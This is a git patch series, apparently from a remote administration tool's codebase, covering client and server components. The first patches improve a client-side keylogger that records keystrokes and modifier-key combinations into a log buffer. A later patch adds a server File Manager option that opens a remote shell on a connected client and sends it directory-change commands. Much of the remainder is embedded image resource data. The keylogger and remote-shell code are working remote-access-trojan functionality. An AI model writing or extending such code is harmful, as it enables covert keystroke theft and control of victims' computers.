From bf3725df3c3aa4e61ffd95a8df27be30b7999d1e Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 6 May 2015 09:39:32 +0200 Subject: [PATCH 1/6] Improved Keylogger --- Client/Core/Keylogger/Logger.cs | 148 +++++++++++++++----------------- 1 file changed, 71 insertions(+), 77 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 932eff3e..aebfa499 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -49,11 +49,10 @@ namespace xClient.Core.Keylogger public bool Enabled { - get { return _timerLogKeys.Enabled && _timerFlush.Enabled; } + get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; } set { - _timerLogKeys.Enabled = _timerFlush.Enabled = value; - _timerLogKeys.Start(); + _timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value; } } @@ -73,7 +72,7 @@ namespace xClient.Core.Keylogger } } - private static bool AltKey // not working + private static bool AltKey { get { @@ -99,6 +98,7 @@ namespace xClient.Core.Keylogger private readonly List _enumValues; private volatile List _keyBuffer; private readonly System.Timers.Timer _timerLogKeys; + private readonly System.Timers.Timer _timerEmptyKeyBuffer; private readonly System.Timers.Timer _timerFlush; /// @@ -152,8 +152,9 @@ namespace xClient.Core.Keylogger this._timerLogKeys = new System.Timers.Timer {Enabled = false, Interval = 10}; this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed; - - EmptyKeyBuffer(); + + this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 }; + this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed; this._timerFlush = new System.Timers.Timer {Enabled = false, Interval = flushInterval}; this._timerFlush.Elapsed += this.timerFlush_Elapsed; @@ -166,83 +167,76 @@ namespace xClient.Core.Keylogger return string.Format("[{0}]", name); } - private void EmptyKeyBuffer() + private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { - new Thread(() => + int j = 0; + KeyData[] keybuffer = new KeyData[_keyBuffer.Count]; + _keyBuffer.CopyTo(keybuffer); + foreach (var k in keybuffer) { - while (this.Enabled) + switch (k.Value) { - Thread.Sleep(500); - int j = 0; - KeyData[] keybuffer = new KeyData[_keyBuffer.Count]; - _keyBuffer.CopyTo(keybuffer); - foreach (var k in keybuffer) - { - switch (k.Value) + case 8: + _logFileBuffer.Append(HighlightSpecialKey("Back")); + break; + case 9: + _logFileBuffer.Append(HighlightSpecialKey("Tab")); + break; + case 13: + _logFileBuffer.Append(HighlightSpecialKey("Enter")); + break; + case 32: + _logFileBuffer.Append(" "); + break; + case 46: + _logFileBuffer.Append(HighlightSpecialKey("Del")); + break; + case 91: + case 92: + _logFileBuffer.Append(HighlightSpecialKey("Win")); + break; + case 112: + case 113: + case 114: + case 115: + case 116: + case 117: + case 118: + case 119: + case 120: + case 121: + case 122: + _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); + break; + default: + if (_enumValues.Contains(k.Value)) { - case 8: - _logFileBuffer.Append(HighlightSpecialKey("Back")); - break; - case 9: - _logFileBuffer.Append(HighlightSpecialKey("Tab")); - break; - case 13: - _logFileBuffer.Append(HighlightSpecialKey("Enter")); - break; - case 32: - _logFileBuffer.Append(" "); - break; - case 46: - _logFileBuffer.Append(HighlightSpecialKey("Del")); - break; - case 91: - case 92: - _logFileBuffer.Append(HighlightSpecialKey("Win")); - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); - break; - default: - if (_enumValues.Contains(k.Value)) - { - if (k.AltKey && k.ControlKey && k.ShiftKey) - { - _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else if (k.AltKey && k.ControlKey && !k.ShiftKey) - { - _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else if (k.AltKey && !k.ControlKey) - { - _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else if (k.ControlKey && !k.AltKey) - { - _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else - { - _logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock)); - } - } - break; + if (k.AltKey && k.ControlKey && k.ShiftKey) + { + _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.AltKey && k.ControlKey && !k.ShiftKey) + { + _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.AltKey && !k.ControlKey) + { + _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.ControlKey && !k.AltKey) + { + _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else + { + _logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock)); + } } - j++; - } - _keyBuffer.RemoveRange(0, j); + break; } - }).Start(); + j++; + } + _keyBuffer.RemoveRange(0, j); } private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e) From fc49cd7e677c950da20d1fe72cb38302c52aa164 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 6 May 2015 09:51:32 +0200 Subject: [PATCH 2/6] Fixed emptying key buffer --- Client/Core/Keylogger/Logger.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index aebfa499..326c3cef 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -236,7 +236,8 @@ namespace xClient.Core.Keylogger } j++; } - _keyBuffer.RemoveRange(0, j); + if (j > 0 && j <= _keyBuffer.Count) + _keyBuffer.RemoveRange(0, j); } private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e) From 73f32520a52c52fb42614b34631c68ac9e42caa9 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 6 May 2015 15:18:56 +0200 Subject: [PATCH 3/6] Added File Manager menu item "Open in Remote Shell" #84 --- Server/Forms/FrmFileManager.Designer.cs | 64 +++++---- Server/Forms/FrmFileManager.cs | 31 +++++ Server/Forms/FrmFileManager.resx | 168 ++++++++++++------------ 3 files changed, 152 insertions(+), 111 deletions(-) diff --git a/Server/Forms/FrmFileManager.Designer.cs b/Server/Forms/FrmFileManager.Designer.cs index 387c30ab..242ae0ec 100644 --- a/Server/Forms/FrmFileManager.Designer.cs +++ b/Server/Forms/FrmFileManager.Designer.cs @@ -44,6 +44,7 @@ namespace xServer.Forms this.ctxtAddToAutostart = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.ctxtRefresh = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtOpenDirectory = new System.Windows.Forms.ToolStripMenuItem(); this.imgListDirectory = new System.Windows.Forms.ImageList(this.components); this.botStrip = new System.Windows.Forms.StatusStrip(); this.btnOpenDLFolder = new System.Windows.Forms.Button(); @@ -58,9 +59,9 @@ namespace xServer.Forms this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hFilename = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); this.ctxtMenu2 = new System.Windows.Forms.ContextMenuStrip(this.components); this.ctxtCancel = new System.Windows.Forms.ToolStripMenuItem(); + this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); this.ctxtMenu.SuspendLayout(); this.TabControlFileManager.SuspendLayout(); this.tabFileExplorer.SuspendLayout(); @@ -98,28 +99,29 @@ namespace xServer.Forms this.toolStripMenuItem1, this.ctxtAddToAutostart, this.ctxtLine, - this.ctxtRefresh}); + this.ctxtRefresh, + this.ctxtOpenDirectory}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(163, 154); + this.ctxtMenu.Size = new System.Drawing.Size(240, 176); // // ctxtDownload // this.ctxtDownload.Image = global::xServer.Properties.Resources.download; this.ctxtDownload.Name = "ctxtDownload"; - this.ctxtDownload.Size = new System.Drawing.Size(162, 22); + this.ctxtDownload.Size = new System.Drawing.Size(239, 22); this.ctxtDownload.Text = "Download"; this.ctxtDownload.Click += new System.EventHandler(this.ctxtDownload_Click); // // ctxtLine2 // this.ctxtLine2.Name = "ctxtLine2"; - this.ctxtLine2.Size = new System.Drawing.Size(159, 6); + this.ctxtLine2.Size = new System.Drawing.Size(236, 6); // // ctxtExecute // this.ctxtExecute.Image = global::xServer.Properties.Resources.run; this.ctxtExecute.Name = "ctxtExecute"; - this.ctxtExecute.Size = new System.Drawing.Size(162, 22); + this.ctxtExecute.Size = new System.Drawing.Size(239, 22); this.ctxtExecute.Text = "Execute"; this.ctxtExecute.Click += new System.EventHandler(this.ctxtExecute_Click); // @@ -127,7 +129,7 @@ namespace xServer.Forms // this.ctxtRename.Image = global::xServer.Properties.Resources.textfield_rename; this.ctxtRename.Name = "ctxtRename"; - this.ctxtRename.Size = new System.Drawing.Size(162, 22); + this.ctxtRename.Size = new System.Drawing.Size(239, 22); this.ctxtRename.Text = "Rename"; this.ctxtRename.Click += new System.EventHandler(this.ctxtRename_Click); // @@ -135,36 +137,43 @@ namespace xServer.Forms // this.ctxtDelete.Image = global::xServer.Properties.Resources.delete; this.ctxtDelete.Name = "ctxtDelete"; - this.ctxtDelete.Size = new System.Drawing.Size(162, 22); + this.ctxtDelete.Size = new System.Drawing.Size(239, 22); this.ctxtDelete.Text = "Delete"; this.ctxtDelete.Click += new System.EventHandler(this.ctxtDelete_Click); // // toolStripMenuItem1 // this.toolStripMenuItem1.Name = "toolStripMenuItem1"; - this.toolStripMenuItem1.Size = new System.Drawing.Size(159, 6); + this.toolStripMenuItem1.Size = new System.Drawing.Size(236, 6); // // ctxtAddToAutostart // this.ctxtAddToAutostart.Image = global::xServer.Properties.Resources.application_add; this.ctxtAddToAutostart.Name = "ctxtAddToAutostart"; - this.ctxtAddToAutostart.Size = new System.Drawing.Size(162, 22); + this.ctxtAddToAutostart.Size = new System.Drawing.Size(239, 22); this.ctxtAddToAutostart.Text = "Add to Autostart"; this.ctxtAddToAutostart.Click += new System.EventHandler(this.ctxtAddToAutostart_Click); // // ctxtLine // this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(159, 6); + this.ctxtLine.Size = new System.Drawing.Size(236, 6); // // ctxtRefresh // this.ctxtRefresh.Image = global::xServer.Properties.Resources.refresh; this.ctxtRefresh.Name = "ctxtRefresh"; - this.ctxtRefresh.Size = new System.Drawing.Size(162, 22); + this.ctxtRefresh.Size = new System.Drawing.Size(239, 22); this.ctxtRefresh.Text = "Refresh"; this.ctxtRefresh.Click += new System.EventHandler(this.ctxtRefresh_Click); // + // ctxtOpenDirectory + // + this.ctxtOpenDirectory.Name = "ctxtOpenDirectory"; + this.ctxtOpenDirectory.Size = new System.Drawing.Size(239, 22); + this.ctxtOpenDirectory.Text = "Open Directory in Remote Shell"; + this.ctxtOpenDirectory.Click += new System.EventHandler(this.ctxtOpenDirectory_Click); + // // imgListDirectory // this.imgListDirectory.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListDirectory.ImageStream"))); @@ -307,6 +316,21 @@ namespace xServer.Forms this.hFilename.Text = "Filename"; this.hFilename.Width = 282; // + // ctxtMenu2 + // + this.ctxtMenu2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ctxtCancel}); + this.ctxtMenu2.Name = "ctxtMenu2"; + this.ctxtMenu2.Size = new System.Drawing.Size(111, 26); + // + // ctxtCancel + // + this.ctxtCancel.Image = global::xServer.Properties.Resources.cancel; + this.ctxtCancel.Name = "ctxtCancel"; + this.ctxtCancel.Size = new System.Drawing.Size(110, 22); + this.ctxtCancel.Text = "Cancel"; + this.ctxtCancel.Click += new System.EventHandler(this.ctxtCancel_Click); + // // imgListTransfers // this.imgListTransfers.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListTransfers.ImageStream"))); @@ -314,21 +338,6 @@ namespace xServer.Forms this.imgListTransfers.Images.SetKeyName(0, "cancel.png"); this.imgListTransfers.Images.SetKeyName(1, "done.png"); // - // ctxtMenu2 - // - this.ctxtMenu2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ctxtCancel}); - this.ctxtMenu2.Name = "ctxtMenu2"; - this.ctxtMenu2.Size = new System.Drawing.Size(153, 48); - // - // ctxtCancel - // - this.ctxtCancel.Image = global::xServer.Properties.Resources.cancel; - this.ctxtCancel.Name = "ctxtCancel"; - this.ctxtCancel.Size = new System.Drawing.Size(152, 22); - this.ctxtCancel.Text = "Cancel"; - this.ctxtCancel.Click += new System.EventHandler(this.ctxtCancel_Click); - // // FrmFileManager // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -387,5 +396,6 @@ namespace xServer.Forms private System.Windows.Forms.ToolStripMenuItem ctxtAddToAutostart; private System.Windows.Forms.ContextMenuStrip ctxtMenu2; private System.Windows.Forms.ToolStripMenuItem ctxtCancel; + private System.Windows.Forms.ToolStripMenuItem ctxtOpenDirectory; } } \ No newline at end of file diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index 09799515..acb933ea 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -231,6 +231,37 @@ namespace xServer.Forms } } + private void ctxtOpenDirectory_Click(object sender, EventArgs e) + { + if (_connectClient != null) + { + string path = _currentDir; + if (lstDirectory.SelectedItems.Count == 1) + { + var item = lstDirectory.SelectedItems[0]; + if (item.SubItems[0].Text != ".." && item.Tag.ToString() == "dir") + { + if (path.EndsWith(@"\")) + path += item.SubItems[0].Text; + else + path += @"\" + item.SubItems[0].Text; + } + } + + if (_connectClient.Value.FrmRs != null) + { + new Core.Packets.ServerPackets.ShellCommand(string.Format("cd \"{0}\"", path)).Execute(_connectClient); + _connectClient.Value.FrmRs.Focus(); + } + else + { + FrmRemoteShell frmRS = new FrmRemoteShell(_connectClient); + frmRS.Show(); + new Core.Packets.ServerPackets.ShellCommand(string.Format("cd \"{0}\"", path)).Execute(_connectClient); + } + } + } + private void btnOpenDLFolder_Click(object sender, EventArgs e) { string downloadPath = Path.Combine(Application.StartupPath, diff --git a/Server/Forms/FrmFileManager.resx b/Server/Forms/FrmFileManager.resx index fd46eb62..1d5df448 100644 --- a/Server/Forms/FrmFileManager.resx +++ b/Server/Forms/FrmFileManager.resx @@ -127,89 +127,89 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAU - EwAAAk1TRnQBSQFMAgEBCwIAAQEBAAEBARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA - AUADAAEwAwABAQEAAQgGAAEMGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA - AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA - AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm - AwABmQMAAcwCAAEzAwACMwIAATMBZgIAATMBmQIAATMBzAIAATMB/wIAAWYDAAFmATMCAAJmAgABZgGZ - AgABZgHMAgABZgH/AgABmQMAAZkBMwIAAZkBZgIAApkCAAGZAcwCAAGZAf8CAAHMAwABzAEzAgABzAFm - AgABzAGZAgACzAIAAcwB/wIAAf8BZgIAAf8BmQIAAf8BzAEAATMB/wIAAf8BAAEzAQABMwEAAWYBAAEz - AQABmQEAATMBAAHMAQABMwEAAf8BAAH/ATMCAAMzAQACMwFmAQACMwGZAQACMwHMAQACMwH/AQABMwFm - AgABMwFmATMBAAEzAmYBAAEzAWYBmQEAATMBZgHMAQABMwFmAf8BAAEzAZkCAAEzAZkBMwEAATMBmQFm - AQABMwKZAQABMwGZAcwBAAEzAZkB/wEAATMBzAIAATMBzAEzAQABMwHMAWYBAAEzAcwBmQEAATMCzAEA - ATMBzAH/AQABMwH/ATMBAAEzAf8BZgEAATMB/wGZAQABMwH/AcwBAAEzAv8BAAFmAwABZgEAATMBAAFm - AQABZgEAAWYBAAGZAQABZgEAAcwBAAFmAQAB/wEAAWYBMwIAAWYCMwEAAWYBMwFmAQABZgEzAZkBAAFm - ATMBzAEAAWYBMwH/AQACZgIAAmYBMwEAA2YBAAJmAZkBAAJmAcwBAAFmAZkCAAFmAZkBMwEAAWYBmQFm - AQABZgKZAQABZgGZAcwBAAFmAZkB/wEAAWYBzAIAAWYBzAEzAQABZgHMAZkBAAFmAswBAAFmAcwB/wEA - AWYB/wIAAWYB/wEzAQABZgH/AZkBAAFmAf8BzAEAAcwBAAH/AQAB/wEAAcwBAAKZAgABmQEzAZkBAAGZ - AQABmQEAAZkBAAHMAQABmQMAAZkCMwEAAZkBAAFmAQABmQEzAcwBAAGZAQAB/wEAAZkBZgIAAZkBZgEz - AQABmQEzAWYBAAGZAWYBmQEAAZkBZgHMAQABmQEzAf8BAAKZATMBAAKZAWYBAAOZAQACmQHMAQACmQH/ - AQABmQHMAgABmQHMATMBAAFmAcwBZgEAAZkBzAGZAQABmQLMAQABmQHMAf8BAAGZAf8CAAGZAf8BMwEA - AZkBzAFmAQABmQH/AZkBAAGZAf8BzAEAAZkC/wEAAcwDAAGZAQABMwEAAcwBAAFmAQABzAEAAZkBAAHM - AQABzAEAAZkBMwIAAcwCMwEAAcwBMwFmAQABzAEzAZkBAAHMATMBzAEAAcwBMwH/AQABzAFmAgABzAFm - ATMBAAGZAmYBAAHMAWYBmQEAAcwBZgHMAQABmQFmAf8BAAHMAZkCAAHMAZkBMwEAAcwBmQFmAQABzAKZ - AQABzAGZAcwBAAHMAZkB/wEAAswCAALMATMBAALMAWYBAALMAZkBAAPMAQACzAH/AQABzAH/AgABzAH/ - ATMBAAGZAf8BZgEAAcwB/wGZAQABzAH/AcwBAAHMAv8BAAHMAQABMwEAAf8BAAFmAQAB/wEAAZkBAAHM - ATMCAAH/AjMBAAH/ATMBZgEAAf8BMwGZAQAB/wEzAcwBAAH/ATMB/wEAAf8BZgIAAf8BZgEzAQABzAJm - AQAB/wFmAZkBAAH/AWYBzAEAAcwBZgH/AQAB/wGZAgAB/wGZATMBAAH/AZkBZgEAAf8CmQEAAf8BmQHM - AQAB/wGZAf8BAAH/AcwCAAH/AcwBMwEAAf8BzAFmAQAB/wHMAZkBAAH/AswBAAH/AcwB/wEAAv8BMwEA - AcwB/wFmAQAC/wGZAQAC/wHMAQACZgH/AQABZgH/AWYBAAFmAv8BAAH/AmYBAAH/AWYB/wEAAv8BZgEA - ASEBAAGlAQADXwEAA3cBAAOGAQADlgEAA8sBAAOyAQAD1wEAA90BAAPjAQAD6gEAA/EBAAP4AQAB8AH7 - Af8BAAGkAqABAAOAAwAB/wIAAf8DAAL/AQAB/wMAAf8BAAH/AQAC/wIAA/8BAAH/AfQB7wq1Ae8B9AH/ - AgAHvAUHAf8DAAHvAeoIEgHqAe8SAAL/AbUB9AkZAbUC/wIAAfIB9AHxCPMB8gH/AgAB8wHsCvQB7AHz - EwABuwEZBSoBMQIqARkBuwQAAfIB8wJtAewB9wHvAbwB8QHyAvMB/wIAAfAB7wr/Ae8B8BMAAQcBGQUx - ATcCMQEZAQcEAAHyAfABEwIVARQBEgFtAesB7QGSAbwB/wIAAfAB7wEZAbMBuQH0Av8BGQH0Av8B7wHw - EwABCQEZASoDMAExAVkBWAExARkBCQQAAfIBBwEUBxUBbQHwAf8CAAHwAe8BGQK6AQkB/wHcArMB9AH/ - Ae8B8BMAAbwBGQEPAUMBRAFLAXkBoAF5AVgBGQG8BAAB8gH3CBUB6wHyAf8CAAHwAe8B/wIZAQkB/wEZ - AroBGQH/Ae8B8BMAAbwBGQEVAUQCWAF6AuUBWQEZAbwEAAHyAewIFQH3AfMB/wIAAfAB7wL/AfQBCQP/ - AhkB/wHvAfATAAHwARkBRAFRAlgBWQHlAVkBWAEZAfAEAAHyAesHFQEUAQcB9AH/AgAB8AHvAv8B9AG6 - AQkBGQH0AhkB/wHvAfATAAHwARkBUgdYARkB8AQAAfABbQHtAuoBFAMVAeoB8QH0Af8CAAHwAe8C/wH0 - ArIDrAEZAf8B7wHwEwAB8AEZCFgBGQHwBAABBwFtAe0B7AEHAu8D7AL0Af8BAAH/AbwB7wL/AfQBugK0 - ArMBGQH/Ae8B8BMAAfABGQgxARkB8AQAAfEBBwG8AewBkgH3Ae8BvAHwAbwC9AH/AQABBwFlAbQEuwEJ - AfQB8wEZAfQB/wHvAfATAAHwBRkECQEZAfAEAAHyAv8B8wHyAe8BvAL3AfED/wEAAQcBswW6AbMF9AHv - AfATAAHxBBkDCQO1AbsEAAHyBf8B8wHxAfAB8QHyAbwB/wEAAQcBiwG6ArsBugG7AbQB8wT0Ae8B8BMA - AfEDGQQJAbsB9AHxAf8EAAHyB/8B9AHzAfAB9AIAAQcBZQa0BfMB7wHwEwAB8QcZAQkB8QH/BQAB8gj/ - AbwB9AMAAfQBvAHsCvMB7AHzEwAB8wjxAf8GAAjxAfAB9AYAAe8KbQHvEgAB/wH0AbwKBwG8AfQB/wEA - AfQL8wH0AgAB/wH0Ae8KtQHvAfQB/wIAAQcMEgEHAv8BBwr/AQcC/wEAAZkLUgGZAgAC/wG1AfQJGQG1 - Av8CAAESDP8BEgIAAbwK/wG8AwABUgF6CXkBegFSBAABuwoZAbsCAAogA/QB8wH/AeoCAAG8Af8CvAHw - AbwD/wH0Af8BvAMAAVIBegJ5AVgCUgFYA3kBegFSBAABBwEZArsCCQUZAQcCAAogAfQD8wH/AeoCAAG8 - Af8E8wL/AvQB/wG8AwABUgF6AXkBUgT/AVICeQF6AVIEAAEJChkBCQIAAiABvQFvBiAE8wH/AW0CAAG8 - Af8BvAHwAbwBBwS8Af8BvAMAAVIBegF0AVIBGgL/ARoBUgJ0AXoBUgIAAc8HpgGGAQkCuwEZAbwCAAIg - AUYB9AGUAW8BlAG9AiAE8wH/AW0CAAG8Af8D8wHyBPEB/wG8AwABUgF6A1IC/wJSAnQBegFSAgABhgf0 - AYYDCQEZAbwCAAMgARcBlAFGAb0BFwIgBPMB/wHrAgABvAH/AbwCBwG8AQcCvAEHAfQBvAMAAVIBegNS - AZkB/wJSAXQBUgF6AVICAAGGAfQBrQGLAfABiwHwAfQBhgO7ARkB8AIABCAClAEWAyAE8wH/AesCAAHw - Af8B8wHyBvEB9AHwAwABUgF6A1IB/wGZBFIBegFSAgABhgH0Aa0BtAG1AbQBtQH0AYYDCQEZAfACAAQg - AUcB/wQgBPMB/wHsAgAB8AH/AQcBvAQHAbwBBwH0AfADAAFSAZoDUgGZAf8EUgGaAVICAAGLAf8BrQEJ - Ac8BCQHPAf8BiwO7ARkB8AIABfkB/wT5A/MB8gH/AewCAAHwAf8E8QH0AvMB8QH0AfADAAFSAZoDUgH/ - AZkBdASaAVICAAGtAf8BrQH0Aa0B9AGtAf8BrQMJARkB8AIACvkF/wHsAgAB8AH/AgcBvAEHAvMC8QH0 - AfADAAFSAZoDUgGZAf8BmgF0AlIBmgFSAgABrQHdAa0BCQGtAQkBrQHdAa0DCQEZAfACAAr5Af8C8gHz - Ae0BvAIAAfAB/wP0AvMB8QP3AbwDAAFSAZoDUgH/AZkBmgFSAfQB/wF5AZkCAAGtB/8BrQEJA7UBuwQA - Ae0B/wPzA/IB/wHyAfMB7QHwAwAB8AH/AvQC8wLxAe8B/wHwAfQDAAFSAZoDUgGZAf8BmgFSAf8BeQGZ - AwABtQfPAbQBCQG7AfQB8QH/BAABkgH/AfMF8gH/AfMBkgHwBAAB8QL/BfQBBwHxAfQEAAFSCJoBeQGZ - BgAB8QcZAQkB8QH/BQABkgj/AZIB8AUAAfMI8gH0BQABdAhSAXQHAAHzCPEB/wYAAfAI9wHwJgAB9AHv - CPcB7wH0MwAB/wFtAfMI9AHzAW0B/wEAEP8RAAEaAZkLUgEaAgAB8wH3Cv8B9wHzAQABtQ60AbUDAAHz - AfQMAAF0ARsBGgSaBXoBwwFSAgAB8wH3Cv8B9wHzAQABtAHzDPIB8wG0AgAB8wEuAVAMAAFSAfYBoAKa - A3oEWQHDAVICAAHzAfcK/wH3AfMBAAG0AfMM8gHzAbQBAAHzAS4BeQEuCvMB9AEAAVIB9gHDAaACmgN6 - A1kBwwFSAgAB8wHvCv8B7wHzAQABtAHzDPIB8wG0AfMBLgF5ATYBNQouAXMBAAFSAfYCwwKgAZoDegJZ - AcMBUgIAAfMB7wr/Ae8B8wEAAbQB9AzzAfQBtAEuAXkNNgEuAQABUgL/A/YBwwKaA3oBwwFSAgAB8wHv - Cv8B7wHzAQABtAH0DPMB9AG0AS4BmQI2C3kBLgEAAVIB9gKaAXoBGwb2Af8BWAIAAfMB7wr0AfcB8wEA - AboO9AG6AQABLgGZATYBLwouARwBAAFYAfYDmgJ6ApoDegH2AVgCAAHzAe8J9AHzAZIB8wEAAboO/wG6 - AgABLgGZAS4MAAFYAfYDmgEaBvYB/wF5AgAB8wHvB/QB8wHyAbwB7AHzAQAB2w7/AdsDAAEuAVAMAAFY - Bf8B9gR5ApkBGwIAAfMB7wfzAfEC8gFtAf8BAAHbDv8B2xEAB3kH/wIAAfMB7wbzAfAB8wHyAewB8wIA - AboC2wLVBrQEswG0IQAB8wHvBfIB8AG8AfMB7AH0AwABCQTcBtsE2gEJIQAB/wHrAfMC9AHzAfIBvAHv - AewB9AQAAfQBCQzbAQkB9CIAAfQB7wX3AZIB9BUAAUIBTQE+BwABPgMAASgDAAFAAwABMAMAAQEBAAEB - BQABgAEBFgAD/wMAAcABAQHAAQMEAAHAAQEBgAEBAgABwAEDAcABAQGAAQECAAHAAQMBwAEBAYABAQIA - AcABAwHAAQEBgAEBAgABwAEDAcABAQGAAQECAAHAAQMBwAEBAYABAQIAAcABAwHAAQEBgAEBAgABwAED - AcABAQGAAQECAAHAAQMBwAEBAQABAQIAAcABAwHAAQEBAAEBAgABwAEDAcABAQEAAQECAAHAAQMBwAEB - AQABAQIAAcABAwHAAQMBAAEBAgABwAEHAcABBwEAAQECAAHAAQ8BwAEPAcABAwQAAYABAwIAAcADAAGA - AQMCAAHAAQABwAEDAYABAwHAAQMCAAHAAQMBgAEDAcABAwIAAcABAwGAAQMBwAEDAgABwAEDAYABAwEA - AQMCAAHAAQMBgAEDAQABAwIAAcABAwGAAQMBAAEDAgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwIA - AcABAwGAAQMBAAEDAgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwHAAQEBwAEDAYABBwEAAQMBwAED - AcABBwGAAQ8BwAEHAcABBwHAAQ8BgAEfAcABDwHAAQ8E/wHAAQMG/wGAAQECAAL/AYABAQGAAQECAAHn - Af8BgAEBAYABAQIAAccB/wGAAQEBgAEBAgABgAEAAYABAQGAAQEEAAGAAQEBgAEBBAABgAEBAYABAQQA - AYABAQGAAQECAAGAAQABgAEBAYABAQIAAccB/wGAAQEBgAEBAgAB5wH/AYABAQGAAQECAAL/AYABAQGA - AQMCAAT/AYABBwIABP8BgAEPAgAE/wHAAR8C/ws= + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW + EwAAAk1TRnQBSQFMAgEBCwEAARABAQEQAQEBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + 